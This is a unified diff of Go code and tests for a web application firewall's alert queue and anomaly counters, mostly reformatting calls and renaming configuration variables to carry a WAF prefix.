@@ -506,16 +416,11 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
summaryRepeats := got[1].alert["suppressed_repeats"] summaryRepeats := got[1].alert["suppressed_repeats"]
lastRepeats := got[2].alert["suppressed_repeats"] lastRepeats := got[2].alert["suppressed_repeats"]
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summaryRepeats != float64(2) ||
summaryRepeats != float64(2) ||
lastRepeats != float64(0) { lastRepeats != float64(0) {
t.Errorf( t.Errorf("the summary counts %v alerts and %v repeats, and the last "+
"the summary counts %v alerts and %v repeats, and the last "+ "alert gives %v repeats, want 1, 2 and 0", detail["count"],
"alert gives %v repeats, want 1, 2 and 0", summaryRepeats, lastRepeats)
detail["count"],
summaryRepeats,
lastRepeats,
)
} }
} }
@@ -523,9 +428,7 @@ func TestRepeatsBeforeAnAlertPastTheHourlyLimitAreGivenByTheSummary(
}) })
} }
func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp( func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} { for name, maxPerHour := range map[string]int{"limit off": 0, "limit set": 60} {
@@ -562,12 +465,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept > int(cooldown/time.Minute) { if kept > int(cooldown/time.Minute) {
t.Errorf( t.Errorf("after %d netblocks, %d cooldowns are kept, want at most %d",
"after %d netblocks, %d cooldowns are kept, want at most %d", netblocks, kept, int(cooldown/time.Minute))
netblocks,
kept,
int(cooldown/time.Minute),
)
} }
} }
@@ -585,13 +484,8 @@ func TestCooldownsThatHaveRunOutAreDroppedAndTheirRepeatsSummedUp(
kept := len(q.Snapshot().Cooldowns) kept := len(q.Snapshot().Cooldowns)
if kept != 0 || repeats != float64(netblocks) { if kept != 0 || repeats != float64(netblocks) {
t.Errorf( t.Errorf("%d cooldowns are kept and the webhook was given %v repeats, "+
"%d cooldowns are kept and the webhook was given %v repeats, "+ "want 0 and %d", kept, repeats, netblocks)
"want 0 and %d",
kept,
repeats,
netblocks,
)
} }
}) })
}) })
@@ -631,7 +525,7 @@ func TestFailedRequestIsSentAgainWithBackoff(t *testing.T) {
wantCounts(t, q, 0, int64(len(want)), 0, 0) wantCounts(t, q, 0, int64(len(want)), 0, 0)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) { `"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) {
t.Errorf("process log %q names no failure", log.String()) t.Errorf("process log %q names no failure", log.String())
} }
@@ -701,7 +595,7 @@ func TestRefusedAlertIsGivenUpAndTheNextSent(t *testing.T) {
wantCounts(t, q, 1, 3, 0, 1) wantCounts(t, q, 1, 3, 0, 1)
if !strings.Contains(log.String(), if !strings.Contains(log.String(),
`"msg":"gave up an alert SWW_ALERT_WEBHOOK_URL refused"`) { `"msg":"gave up an alert SWW_WAF_ALERT_WEBHOOK_URL refused"`) {
t.Errorf("process log %q names no alert given up", log.String()) t.Errorf("process log %q names no alert given up", log.String())
} }
}) })
@@ -725,15 +619,9 @@ func TestFailedRequestIsLoggedWithoutTheURL(t *testing.T) {
logged := log.String() logged := log.String()
if !strings.Contains(logged, if !strings.Contains(logged,
`"msg":"sending an alert to SWW_ALERT_WEBHOOK_URL failed"`) || `"msg":"sending an alert to SWW_WAF_ALERT_WEBHOOK_URL failed"`) ||
strings.Contains( strings.Contains(logged, "alerts.example") || strings.Contains(logged, "team=ops") {
logged, t.Errorf("process log %q names no failure, or names the URL", logged)
"alerts.example",
) || strings.Contains(logged, "team=ops") {
t.Errorf(
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -751,9 +639,7 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
// than the queue holds is raised: none waits, and the oldest, the // than the queue holds is raised: none waits, and the oldest, the
// one the webhook was sent, is dropped. // one the webhook was sent, is dropped.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
if n == 0 { if n == 0 {
synctest.Wait() synctest.Wait()
@@ -767,17 +653,9 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
wantCounts(t, q, 0, 0, 0, 1) wantCounts(t, q, 0, 0, 0, 1)
waiting := q.Snapshot().Waiting[alerts.DestinationWebhook] waiting := q.Snapshot().Waiting[alerts.DestinationWebhook]
if len(waiting) != alerts.QueueSize || if len(waiting) != alerts.QueueSize || waiting[0].Netblock != netblock(1) {
waiting[0].Netblock != netblock(1) { t.Fatalf("%d alerts wait, the first for %s, want %d, the first for %s",
t.Fatalf( len(waiting), waiting[0].Netblock, alerts.QueueSize, netblock(1))
"%d alerts wait, the first for %s, want %d, the first for %s",
len(
waiting,
),
waiting[0].Netblock,
alerts.QueueSize,
netblock(1),
)
} }
// The request is abandoned after 10 seconds, and the webhook, which // The request is abandoned after 10 seconds, and the webhook, which
@@ -789,22 +667,14 @@ func TestFullQueueDropsTheOldestAndRaiseNeverWaits(t *testing.T) {
got := webhook.received() got := webhook.received()
if len(got) != alerts.QueueSize+1 || if len(got) != alerts.QueueSize+1 ||
got[0].alert["netblock"] != netblock(0).String() { got[0].alert["netblock"] != netblock(0).String() {
t.Fatalf( t.Fatalf("the webhook had %d requests, want %d, the first for %s",
"the webhook had %d requests, want %d, the first for %s", len(got), alerts.QueueSize+1, netblock(0))
len(got),
alerts.QueueSize+1,
netblock(0),
)
} }
for i, request := range got[1:] { for i, request := range got[1:] {
if request.alert["netblock"] != netblock(i+1).String() { if request.alert["netblock"] != netblock(i+1).String() {
t.Fatalf( t.Fatalf("request %d is for %v, want %s", i+1, request.alert["netblock"],
"request %d is for %v, want %s", netblock(i+1))
i+1,
request.alert["netblock"],
netblock(i+1),
)
} }
} }
@@ -822,12 +692,8 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// Not sent: Run is not running. The repeat is held back by the // Not sent: Run is not running. The repeat is held back by the
// cooldown, and the file error past the hourly limit. // cooldown, and the file error past the hourly limit.
before.Raise( before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)}, before.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
)
before.Raise(
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
before.Raise(alerts.Alert{Event: alerts.EventFileError}) before.Raise(alerts.Alert{Event: alerts.EventFileError})
time.Sleep(time.Minute) time.Sleep(time.Minute)
@@ -838,9 +704,7 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
// The new queue sends the alert waiting, holds back the repeat as // The new queue sends the alert waiting, holds back the repeat as
// the cooldown still runs, and sends the summary of the hour, which // the cooldown still runs, and sends the summary of the hour, which
// gives both repeats, as the cooldown has run out. // gives both repeats, as the cooldown has run out.
after.Raise( after.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)},
)
synctest.Wait() synctest.Wait()
wantEvents(t, webhook, alerts.EventBan) wantEvents(t, webhook, alerts.EventBan)
@@ -851,13 +715,9 @@ func TestStateLoadedIntoANewQueueCarriesOn(t *testing.T) {
summary := webhook.received()[1].alert summary := webhook.received()[1].alert
detail, _ := summary["detail"].(map[string]any) detail, _ := summary["detail"].(map[string]any)
if detail["count"] != float64(1) || if detail["count"] != float64(1) || summary["suppressed_repeats"] != float64(2) {
summary["suppressed_repeats"] != float64(2) { t.Errorf("the summary counts %v alerts and %v repeats, want 1 and 2",
t.Errorf( detail["count"], summary["suppressed_repeats"])
"the summary counts %v alerts and %v repeats, want 1 and 2",
detail["count"],
summary["suppressed_repeats"],
)
} }
}) })
} }
@@ -887,13 +747,7 @@ func TestSlackAndNtfyAreSentAMessageForEachEvent(t *testing.T) {
for i, each := range want { for i, each := range want {
wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text) wantSlackMessage(t, slack[i], "*"+each.title+"*\n"+each.text)
wantNtfyMessage( wantNtfyMessage(t, ntfy[i], each.title, each.priorityAndTag, each.text)
t,
ntfy[i],
each.title,
each.priorityAndTag,
each.text,
)
} }
}) })
} }
@@ -906,23 +760,14 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
params.WebhookURL = nil params.WebhookURL = nil
params.MaxPerHour = 1 params.MaxPerHour = 1
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
ban := alerts.Alert{ ban := alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1), Reason: "a ban"}
Event: alerts.EventBan,
Netblock: netblock(1),
Reason: "a ban",
}
// The hour's one alert, a repeat of it the cooldown holds back, and // The hour's one alert, a repeat of it the cooldown holds back, and
// an alert past the limit; once the hour has ended, its summary, // an alert past the limit; once the hour has ended, its summary,
// which gives the repeat, and the next alert, which gives none. // which gives the repeat, and the next alert, which gives none.
q.Raise(ban) q.Raise(ban)
q.Raise(ban) q.Raise(ban)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventFileError, Reason: "a file error"})
alerts.Alert{
Event: alerts.EventFileError,
Reason: "a file error",
},
)
time.Sleep(time.Hour) time.Sleep(time.Hour)
synctest.Wait() synctest.Wait()
q.Raise(ban) q.Raise(ban)
@@ -937,22 +782,12 @@ func TestSlackAndNtfyAreSentTheSummaryAndTheRepeatsHeldBack(t *testing.T) {
} }
const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " + const summary = "1 alerts held back in the hour from 2000-01-01T00:00:00Z, " +
"past the 1 an hour SWW_ALERT_MAX_PER_HOUR allows; 1 repeats held back " + "past the 1 an hour SWW_WAF_ALERT_MAX_PER_HOUR allows; 1 repeats held back " +
"by SWW_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1" "by SWW_WAF_ALERT_COOLDOWN that no later alert gives\nsuppressed repeats: 1"
wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary) wantSlackMessage(t, slack[1], "*"+instance+": summary*\n"+summary)
wantNtfyMessage( wantNtfyMessage(t, ntfy[1], instance+": summary", "default bar_chart", summary)
t, wantSlackMessage(t, slack[2], "*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32")
ntfy[1],
instance+": summary",
"default bar_chart",
summary,
)
wantSlackMessage(
t,
slack[2],
"*"+instance+": ban*\na ban\nnetblock: 203.0.113.1/32",
)
wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry", wantNtfyMessage(t, ntfy[2], instance+": ban", "default no_entry",
"a ban\nnetblock: 203.0.113.1/32") "a ban\nnetblock: 203.0.113.1/32")
}) })
@@ -978,11 +813,7 @@ func TestSlackMessageEscapesAmpersandsAndAngleBrackets(t *testing.T) {
wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+ wantSlackMessage(t, got[0], "*app&lt;1&gt;: file_error*\n"+
"&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;") "&lt;!channel&gt; &amp; &lt;https://x.example|y&gt;")
wantBodies( wantBodies(t, standIns[alerts.DestinationNtfy], "<!channel> & <https://x.example|y>")
t,
standIns[alerts.DestinationNtfy],
"<!channel> & <https://x.example|y>",
)
}) })
} }
@@ -1004,12 +835,7 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
params.NtfyToken = tc.token params.NtfyToken = tc.token
standIns, q := startAll(t, params) standIns, q := startAll(t, params)
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(1)})
alerts.Alert{
Event: alerts.EventBan,
Netblock: netblock(1),
},
)
synctest.Wait() synctest.Wait()
for destination, want := range map[string][]string{ for destination, want := range map[string][]string{
@@ -1019,21 +845,13 @@ func TestNtfyTokenIsSentToNtfyAlone(t *testing.T) {
} { } {
got := standIns[destination].received() got := standIns[destination].received()
if len(got) != 1 { if len(got) != 1 {
t.Fatalf( t.Fatalf("%s was sent %d requests, want 1", destination, len(got))
"%s was sent %d requests, want 1",
destination,
len(got),
)
} }
authorization := got[0].header.Values("Authorization") authorization := got[0].header.Values("Authorization")
if !slices.Equal(authorization, want) { if !slices.Equal(authorization, want) {
t.Errorf( t.Errorf("%s was sent Authorization %q, want %q", destination,
"%s was sent Authorization %q, want %q", authorization, want)
destination,
authorization,
want,
)
} }
} }
}) })
@@ -1052,9 +870,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
standIns[alerts.DestinationSlack].set(hanging) standIns[alerts.DestinationSlack].set(hanging)
for n := range 3 { for n := range 3 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
} }
synctest.Wait() synctest.Wait()
@@ -1069,9 +885,7 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
wantDestinationCounts(t, q, destination, want) wantDestinationCounts(t, q, destination, want)
} }
if got := standIns[alerts.DestinationSlack].received(); len( if got := standIns[alerts.DestinationSlack].received(); len(got) != 1 {
got,
) != 1 {
t.Errorf("Slack was sent %d requests, want 1", len(got)) t.Errorf("Slack was sent %d requests, want 1", len(got))
} }
@@ -1086,16 +900,11 @@ func TestDestinationThatDoesNotAnswerHoldsUpNeitherOther(t *testing.T) {
alerts.Counts{Sent: 3, SendFailures: 1}) alerts.Counts{Sent: 3, SendFailures: 1})
logged := log.String() logged := log.String()
if !strings.Contains( if !strings.Contains(logged,
logged, `"msg":"sending an alert to SWW_WAF_ALERT_SLACK_WEBHOOK_URL failed"`) ||
`"msg":"sending an alert to SWW_ALERT_SLACK_WEBHOOK_URL failed"`,
) ||
strings.Contains(logged, "hooks.slack.example") || strings.Contains(logged, "hooks.slack.example") ||
strings.Contains(logged, "T0123") { strings.Contains(logged, "T0123") {
t.Errorf( t.Errorf("process log %q names no failure, or names the URL", logged)
"process log %q names no failure, or names the URL",
logged,
)
} }
}) })
} }
@@ -1113,9 +922,7 @@ func TestDropsAreCountedForEachDestination(t *testing.T) {
// Each alert is raised once each destination has done all it can // Each alert is raised once each destination has done all it can
// with those before it. // with those before it.
for n := range alerts.QueueSize + 1 { for n := range alerts.QueueSize + 1 {
q.Raise( q.Raise(alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)})
alerts.Alert{Event: alerts.EventBan, Netblock: netblock(n)},
)
synctest.Wait() synctest.Wait()
} }
@@ -1329,10 +1136,7 @@ func start(t *testing.T, params alerts.Params) (*standIn, *alerts.Queue) {
// startAll returns, by destination, a stand-in that answers for each // startAll returns, by destination, a stand-in that answers for each
// destination params sets, and a Queue that sends to them, run until the // destination params sets, and a Queue that sends to them, run until the
// test ends. // test ends.
func startAll( func startAll(t *testing.T, params alerts.Params) (map[string]*standIn, *alerts.Queue) {
t *testing.T,
params alerts.Params,
) (map[string]*standIn, *alerts.Queue) {
t.Helper() t.Helper()
q := alerts.New(params) q := alerts.New(params)
@@ -1366,9 +1170,7 @@ func midnight() time.Time {
// netblock returns the n-th netblock of a test, counted from 0. // netblock returns the n-th netblock of a test, counted from 0.
func netblock(n int) netip.Prefix { func netblock(n int) netip.Prefix {
return netip.MustParsePrefix( return netip.MustParsePrefix(fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256))
fmt.Sprintf("203.0.%d.%d/32", 113+n/256, n%256),
)
} }
// roundTrip returns state once written as JSON and read back, as // roundTrip returns state once written as JSON and read back, as
@@ -1421,22 +1223,12 @@ func wantEvents(t *testing.T, webhook *standIn, want ...string) {
// requests to it that it counts as failed, the alerts it counts as held // requests to it that it counts as failed, the alerts it counts as held
// back, and those it counts as dropped for the webhook. // back, and those it counts as dropped for the webhook.
func wantCounts( func wantCounts(
t *testing.T, t *testing.T, q *alerts.Queue, sent, sendFailures, suppressed, dropped int64,
q *alerts.Queue,
sent, sendFailures, suppressed, dropped int64,
) { ) {
t.Helper() t.Helper()
wantDestinationCounts( wantDestinationCounts(t, q, alerts.DestinationWebhook,
t, alerts.Counts{Sent: sent, SendFailures: sendFailures, Dropped: dropped})
q,
alerts.DestinationWebhook,
alerts.Counts{
Sent: sent,
SendFailures: sendFailures,
Dropped: dropped,
},
)
if q.Suppressed() != suppressed { if q.Suppressed() != suppressed {
t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed) t.Errorf("%d alerts held back, want %d", q.Suppressed(), suppressed)
@@ -1462,16 +1254,14 @@ type eventMessage struct {
title, priorityAndTag, text string title, priorityAndTag, text string
} }
// anAlertForEachEvent returns an alert for each event SWW_ALERT_EVENTS // anAlertForEachEvent returns an alert for each event SWW_WAF_ALERT_EVENTS
// names, the first in observe mode, each with its message. // names, the first in observe mode, each with its message.
func anAlertForEachEvent() []eventMessage { func anAlertForEachEvent() []eventMessage {
return []eventMessage{ return []eventMessage{
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"), Event: alerts.EventBan, Client: netip.MustParseAddr("203.0.113.9"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("203.0.113.0/24"), Country: "DE",
"203.0.113.0/24",
), Country: "DE",
Reason: "requests per hour over the limit of 10000", Reason: "requests per hour over the limit of 10000",
Detail: map[string]any{"mode": "observe"}, Detail: map[string]any{"mode": "observe"},
}, },
@@ -1482,9 +1272,7 @@ func anAlertForEachEvent() []eventMessage {
{ {
alerts.Alert{ alerts.Alert{
Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"), Event: alerts.EventPermanentBan, Client: netip.MustParseAddr("198.51.100.7"),
Netblock: netip.MustParsePrefix( Netblock: netip.MustParsePrefix("198.51.100.7/32"), Country: "FR",
"198.51.100.7/32",
), Country: "FR",
Reason: "matched the rule env-file", Reason: "matched the rule env-file",
}, },
"fsn1app1/blog: permanent_ban", "high no_entry", "fsn1app1/blog: permanent_ban", "high no_entry",
@@ -1559,30 +1347,18 @@ func wantSlackMessage(t *testing.T, request post, text string) {
// wantNtfyMessage checks that request, one ntfy was sent, posted the // wantNtfyMessage checks that request, one ntfy was sent, posted the
// message text with the title, and with the priority and the tag // message text with the title, and with the priority and the tag
// priorityAndTag gives, with a space between them. // priorityAndTag gives, with a space between them.
func wantNtfyMessage( func wantNtfyMessage(t *testing.T, request post, title, priorityAndTag, text string) {
t *testing.T,
request post,
title, priorityAndTag, text string,
) {
t.Helper() t.Helper()
got := []string{ got := []string{
request.method, request.url, request.header.Get("Title"), request.method, request.url, request.header.Get("Title"),
request.header.Get( request.header.Get("Priority") + " " + request.header.Get("Tags"), request.body,
"Priority",
) + " " + request.header.Get(
"Tags",
), request.body,
} }
want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text} want := []string{http.MethodPost, ntfyURL, title, priorityAndTag, text}
if !slices.Equal(got, want) { if !slices.Equal(got, want) {
t.Errorf( t.Errorf("ntfy was sent the method, URL, title, priority and tag, and text "+
"ntfy was sent the method, URL, title, priority and tag, and text "+ "%q, want %q", got, want)
"%q, want %q",
got,
want,
)
} }
} }
+21 -55
View File
@@ -28,28 +28,22 @@ const maxCounters = 20000
// alerts name them. // alerts name them.
const ( const (
// ScopeClient is one client: an IPv4 address, or an IPv6 netblock of // ScopeClient is one client: an IPv4 address, or an IPv6 netblock of
// SWW_IPV6_GROUP_PREFIX. // SWW_WAF_IPV6_GROUP_PREFIX.
ScopeClient = "client" ScopeClient = "client"
// ScopeNet is the netblock around a client, SWW_ANOMALY_NET_V4_PREFIX // ScopeNet is the netblock around a client, SWW_WAF_ANOMALY_NET_V4_PREFIX
// or SWW_ANOMALY_NET_V6_PREFIX long. // or SWW_WAF_ANOMALY_NET_V6_PREFIX long.
ScopeNet = "net" ScopeNet = "net"
// ScopeASN is an AS number. // ScopeASN is an AS number.
ScopeASN = "asn" ScopeASN = "asn"
// ScopeTotal is the whole service. // ScopeTotal is the whole service.
ScopeTotal = "total" ScopeTotal = "total"
// ScopeWatchedNet is a named netblock of SWW_WATCH_NETS. // ScopeWatchedNet is a named netblock of SWW_WAF_WATCH_NETS.
ScopeWatchedNet = "watched_net" ScopeWatchedNet = "watched_net"
) )
// Scopes returns every scope. // Scopes returns every scope.
func Scopes() []string { func Scopes() []string {
return []string{ return []string{ScopeClient, ScopeNet, ScopeASN, ScopeTotal, ScopeWatchedNet}
ScopeClient,
ScopeNet,
ScopeASN,
ScopeTotal,
ScopeWatchedNet,
}
} }
// The windows a counter counts in, as the alerts name them. // The windows a counter counts in, as the alerts name them.
@@ -68,7 +62,7 @@ type Thresholds struct {
BytesPerHour int64 BytesPerHour int64
} }
// NamedNetblock is a netblock SWW_WATCH_NETS names. // NamedNetblock is a netblock SWW_WAF_WATCH_NETS names.
type NamedNetblock struct { type NamedNetblock struct {
Name string Name string
Netblock netip.Prefix Netblock netip.Prefix
@@ -76,14 +70,14 @@ type NamedNetblock struct {
// Params are what New needs. // Params are what New needs.
type Params struct { type Params struct {
// The thresholds of each scope: SWW_ANOMALY_CLIENT_*, // The thresholds of each scope: SWW_WAF_ANOMALY_CLIENT_*,
// SWW_ANOMALY_NET_*, SWW_ANOMALY_ASN_*, SWW_ANOMALY_TOTAL_* and // SWW_WAF_ANOMALY_NET_*, SWW_WAF_ANOMALY_ASN_*, SWW_WAF_ANOMALY_TOTAL_* and
// SWW_WATCH_*. // SWW_WAF_WATCH_*.
Client, Net, ASN, Total, Watch Thresholds Client, Net, ASN, Total, Watch Thresholds
// NetV4Prefix and NetV6Prefix are the lengths of the netblock around a // NetV4Prefix and NetV6Prefix are the lengths of the netblock around a
// client (SWW_ANOMALY_NET_V4_PREFIX and SWW_ANOMALY_NET_V6_PREFIX). // client (SWW_WAF_ANOMALY_NET_V4_PREFIX and SWW_WAF_ANOMALY_NET_V6_PREFIX).
NetV4Prefix, NetV6Prefix int NetV4Prefix, NetV6Prefix int
// NamedNetblocks are SWW_WATCH_NETS. // NamedNetblocks are SWW_WAF_WATCH_NETS.
NamedNetblocks []NamedNetblock NamedNetblocks []NamedNetblock
// Alerts receive the anomaly alerts. // Alerts receive the anomaly alerts.
Alerts *alerts.Queue Alerts *alerts.Queue
@@ -113,13 +107,13 @@ type Request struct {
Host string Host string
// Client is the client's address, and ClientGroup the client it is // Client is the client's address, and ClientGroup the client it is
// counted as: its IPv4 address, or the IPv6 netblock of // counted as: its IPv4 address, or the IPv6 netblock of
// SWW_IPV6_GROUP_PREFIX its address is in. // SWW_WAF_IPV6_GROUP_PREFIX its address is in.
Client netip.Addr Client netip.Addr
ClientGroup netip.Prefix ClientGroup netip.Prefix
// ASN, ASName and Country are the client's as looked up, each "" when // ASN, ASName and Country are the client's as looked up, each "" when
// unknown. // unknown.
ASN, ASName, Country string ASN, ASName, Country string
// Bytes are the request's bytes, as SWW_BYTES_COUNT counts them. // Bytes are the request's bytes, as SWW_WAF_BYTES_COUNT counts them.
Bytes int64 Bytes int64
} }
@@ -197,12 +191,8 @@ func (c *Counters) Snapshot() []Counter {
c.mu.Unlock() c.mu.Unlock()
slices.SortFunc(counters, func(a, b Counter) int { slices.SortFunc(counters, func(a, b Counter) int {
return cmp.Or( return cmp.Or(cmp.Compare(a.Scope, b.Scope), a.Netblock.Compare(b.Netblock),
cmp.Compare(a.Scope, b.Scope), cmp.Compare(a.ASN, b.ASN), cmp.Compare(a.Name, b.Name))
a.Netblock.Compare(b.Netblock),
cmp.Compare(a.ASN, b.ASN),
cmp.Compare(a.Name, b.Name),
)
}) })
return counters return counters
@@ -267,11 +257,7 @@ func (c *Counters) scopesOf(r Request) []scope {
for _, named := range p.NamedNetblocks { for _, named := range p.NamedNetblocks {
if named.Netblock.Contains(client) { if named.Netblock.Contains(client) {
all = append(all, scope{ all = append(all, scope{
key{ key{scope: ScopeWatchedNet, netblock: named.Netblock, name: named.Name}, p.Watch,
scope: ScopeWatchedNet,
netblock: named.Netblock,
name: named.Name,
}, p.Watch,
}) })
} }
} }
@@ -330,12 +316,7 @@ func (c *Counter) add(
counted := count.buckets.Add(now, count.length, n) counted := count.buckets.Add(now, count.length, n)
if !passed && counted > float64(threshold) { if !passed && counted > float64(threshold) {
first = overThreshold{ first = overThreshold{count.kind, count.window, counted, threshold}
count.kind,
count.window,
counted,
threshold,
}
passed = true passed = true
} }
} }
@@ -378,22 +359,12 @@ func (c *Counter) lastStart() time.Time {
// key returns what tells c from the other counters. // key returns what tells c from the other counters.
func (c *Counter) key() key { func (c *Counter) key() key {
return key{ return key{scope: c.Scope, netblock: c.Netblock, asn: c.ASN, name: c.Name}
scope: c.Scope,
netblock: c.Netblock,
asn: c.ASN,
name: c.Name,
}
} }
// counter returns a counter for k, with nothing counted yet. // counter returns a counter for k, with nothing counted yet.
func (k key) counter() *Counter { func (k key) counter() *Counter {
return &Counter{ return &Counter{Scope: k.scope, Netblock: k.netblock, ASN: k.asn, Name: k.name}
Scope: k.scope,
Netblock: k.netblock,
ASN: k.asn,
Name: k.name,
}
} }
// alertFor returns the anomaly alert for o, a count over its threshold in // alertFor returns the anomaly alert for o, a count over its threshold in
@@ -433,13 +404,8 @@ func alertFor(r Request, k key, o overThreshold) alerts.Alert {
ASN: r.ASN, ASN: r.ASN,
ASName: r.ASName, ASName: r.ASName,
Country: r.Country, Country: r.Country,
Reason: fmt.Sprintf( Reason: fmt.Sprintf("%s per %s of %s over the threshold of %d", o.kind, o.window,
"%s per %s of %s over the threshold of %d", counted, o.threshold),
o.kind,
o.window,
counted,
o.threshold,
),
Detail: detail, Detail: detail,
} }
} }
+14 -43
View File
@@ -31,10 +31,7 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
// name one netblock. // name one netblock.
NetV4Prefix: 32, NetV4Prefix: 32,
NamedNetblocks: []anomaly.NamedNetblock{ NamedNetblocks: []anomaly.NamedNetblock{
{ {Name: "office", Netblock: office}, {Name: "hq", Netblock: office},
Name: "office",
Netblock: office,
}, {Name: "hq", Netblock: office},
}, },
Alerts: queue, Alerts: queue,
}) })
@@ -83,16 +80,11 @@ func TestEachScopeHasACooldownOfItsOwn(t *testing.T) {
} }
if after.Suppressed() != 9 { if after.Suppressed() != 9 {
t.Errorf( t.Errorf("after loading, %d alerts are held back, want 9", after.Suppressed())
"after loading, %d alerts are held back, want 9",
after.Suppressed(),
)
} }
} }
func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted( func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
@@ -111,28 +103,17 @@ func TestKeepsAtMost20000CountersDroppingTheLeastRecentlyCounted(
got := counters.Snapshot() got := counters.Snapshot()
if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) || if len(got) != maxCounters || !holds(got, 0) || holds(got, 1) ||
!holds(got, maxCounters) { !holds(got, maxCounters) {
t.Errorf( t.Errorf("%d counters, holding the first client %v, the second %v and the "+
"%d counters, holding the first client %v, the second %v and the "+ "new one %v, want %d, the first and the new one", len(got), holds(got, 0),
"new one %v, want %d, the first and the new one", holds(got, 1), holds(got, maxCounters), maxCounters)
len(got),
holds(got, 0),
holds(got, 1),
holds(got, maxCounters),
maxCounters,
)
} }
} }
func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters( func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(t *testing.T) {
t *testing.T,
) {
t.Parallel() t.Parallel()
counters := newCounters(anomaly.Params{ counters := newCounters(anomaly.Params{
Net: anomaly.Thresholds{ Net: anomaly.Thresholds{RequestsPerMinute: 1000, RequestsPerHour: 1000},
RequestsPerMinute: 1000,
RequestsPerHour: 1000,
},
Total: anomaly.Thresholds{RequestsPerMinute: 1000}, Total: anomaly.Thresholds{RequestsPerMinute: 1000},
NetV4Prefix: 24, NetV4Prefix: 24,
}) })
@@ -161,9 +142,7 @@ func TestLoadEmptiesBucketsWhoseTimeHasPassedAndDropsEmptyCounters(
Hour: ratelimit.Buckets{Start: midnight(), Current: 7}, Hour: ratelimit.Buckets{Start: midnight(), Current: 7},
} }
if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual( if got, want := counters.Snapshot(), []anomaly.Counter{netblock}; !reflect.DeepEqual(
got, got, want) {
want,
) {
t.Errorf("counters read\n%+v\nwant\n%+v", got, want) t.Errorf("counters read\n%+v\nwant\n%+v", got, want)
} }
@@ -213,12 +192,9 @@ func TestLoadDropsTheLeastRecentlyCountedFirst(t *testing.T) {
got := counters.Snapshot() got := counters.Snapshot()
if !holds(got, 0) || holds(got, maxCounters/2) { if !holds(got, 0) || holds(got, maxCounters/2) {
t.Errorf( t.Errorf("holding the first client of the file %v, and the first counted in "+
"holding the first client of the file %v, and the first counted in "+ "the minute before %v, want only the first", holds(got, 0),
"the minute before %v, want only the first", holds(got, maxCounters/2))
holds(got, 0),
holds(got, maxCounters/2),
)
} }
} }
@@ -249,14 +225,9 @@ func newQueue() *alerts.Queue {
// request returns a request from client number i, an address in // request returns a request from client number i, an address in
// 10.0.0.0/8. // 10.0.0.0/8.
func request(i int) anomaly.Request { func request(i int) anomaly.Request {
client := netip.MustParseAddr( client := netip.MustParseAddr(fmt.Sprintf("10.%d.%d.%d", i>>16, i>>8&255, i&255))
